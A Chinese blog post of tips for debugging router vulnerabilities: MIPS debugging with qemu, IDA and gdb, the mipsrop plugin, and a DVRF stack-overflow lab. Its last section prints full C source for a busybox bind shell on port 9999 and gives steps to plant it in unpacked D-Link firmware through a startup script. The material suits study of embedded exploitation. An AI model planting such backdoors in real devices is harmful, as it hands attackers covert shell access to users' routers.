路由器漏洞调试的一些技巧

Posted junmoxiao

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了路由器漏洞调试的一些技巧相关的知识,希望对你有一定的参考价值。

mips 指令集特性
1 没有push pop指令
2 所有指令都是32位,4字节对齐

mips 动态调试
1 IDA
./qemu-mipsel -g 23946 ./xxx
IDA 上选择Remote GDB debuffer
 
2 gdb-multiarch
qemu-mipsel -L . -g 23946 ./xxx
注意要切换到路由器文件系统根目录
gdb-multiarch ./xxx
set architecture mips
target remote 127.0.0.1:23946

叶子函数和非叶子函数的概念
1 如果一个函数不调用其他函数(库函数也算在内),这个函数就是叶子函数
2 区分叶子函数的概念是因为在mips中,叶子函数的返回地址在ra寄存器中,非叶子函数的返回地址存放在栈上 ,在函数开头有如下操作: sw $ra,xxx
 

IDA 插件 mipsrop 用法
 
mipsrop.stackfinder() 寻找栈数据可控的 rop,建立和 a0、a1 寄存器的关系 mipsrop.summary() 列出所有的可用 rop
mipsrop.system() 寻找命令执行的的rop
mipsrop.find(xxx) 查找 find 函数参数的 rop,类似正则匹配
 
mipsrop for ida 7
a = MIPSROPFinder().stackfinder()

qemu-user 使用的两种方法
 
1 需要静态编译且符合目标位数
复制qemu程序到当前目录
sudo chroot . ./qemu-mipsel-static ./xxx arg
 
2 没有特殊要求
qemu-mipsel -L . ./xxx arg

mips 基本栈溢出
1 DVRF stack_bof_01
    确定偏移 204
    确定shell函数地址
    1 由于shell函数开头有一些对gp寄存器的引用,直接跳过开头几个指令的地址即可
    2 或者利用rop利用t9 寄存器跳过去
        1 寻找lw $t9
        2 payload = padding + gadget_lw_t9 + shell_func
 

qemu 指定架构编译
 
make clean
 
./configure --target-list=arm-softmmu,mips-softmmu,mipsel-softmmu,arm-linux-user,mips-linux-user,mipsel-linux-user --static
 
make -j2
 
sudo make install
 
 
2.4 比较稳定,刚开始用apt安装的版本,能跑程序,但是gdb附加上去就出问题
 

利用FMK修改固件
1 提取文件系统
./extract-firmware.sh Dlink_firmware.bin
2 查看固件程序的架构,大小端,位数。编译后门
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define SERVER_PORT 9999
/* CC-BY: Osanda Malith Jayathissa (@OsandaMalith)
* Bind Shell using Fork for my TP-Link mr3020 router running
busybox
* Arch : MIPS
* mips-linux-gnu-gcc mybindshell.c -o mybindshell -static -EB -
march=24kc
*/
int main() {
    int serverfd, clientfd, server_pid, i = 0;
    char *banner = "[~] Welcome to @OsandaMalith‘s Bind Shell ";
    char *args[] = { "/bin/busybox", "sh", (char *) 0 };
    struct sockaddr_in server, client;
    socklen_t len;
    server.sin_family = AF_INET;
    server.sin_port = htons(SERVER_PORT);
    server.sin_addr.s_addr = INADDR_ANY;
    serverfd = socket(AF_INET, SOCK_STREAM, 0);
    bind(serverfd, (struct sockaddr *)&server, sizeof(server));
    listen(serverfd, 1);
    while (1) {
        len = sizeof(struct sockaddr);
        clientfd = accept(serverfd, (struct sockaddr *)&client,
        &len);
        server_pid = fork();
        if (server_pid) {
            write(clientfd, banner, strlen(banner));
            for(; i <3 /*u*/; i++) dup2(clientfd, i);
            execve("/bin/busybox", args, (char *) 0);
            close(clientfd);
        } close(clientfd);
    } return 0;
}
3 找到启动过程中自动执行的脚本,讲后门放到文件系统中,修改脚本
4 ./build-firmware-sh Dlink_firmware/ -nopad -min
 
 

以上是关于路由器漏洞调试的一些技巧的主要内容,如果未能解决你的问题,请参考以下文章

flash漏洞调试技巧

BASH 的调试技巧

markdown 调试扫描仪的一些技巧

Eclipse 的一些调试技巧

c# Debug的一些技巧

一些调试程序的小技巧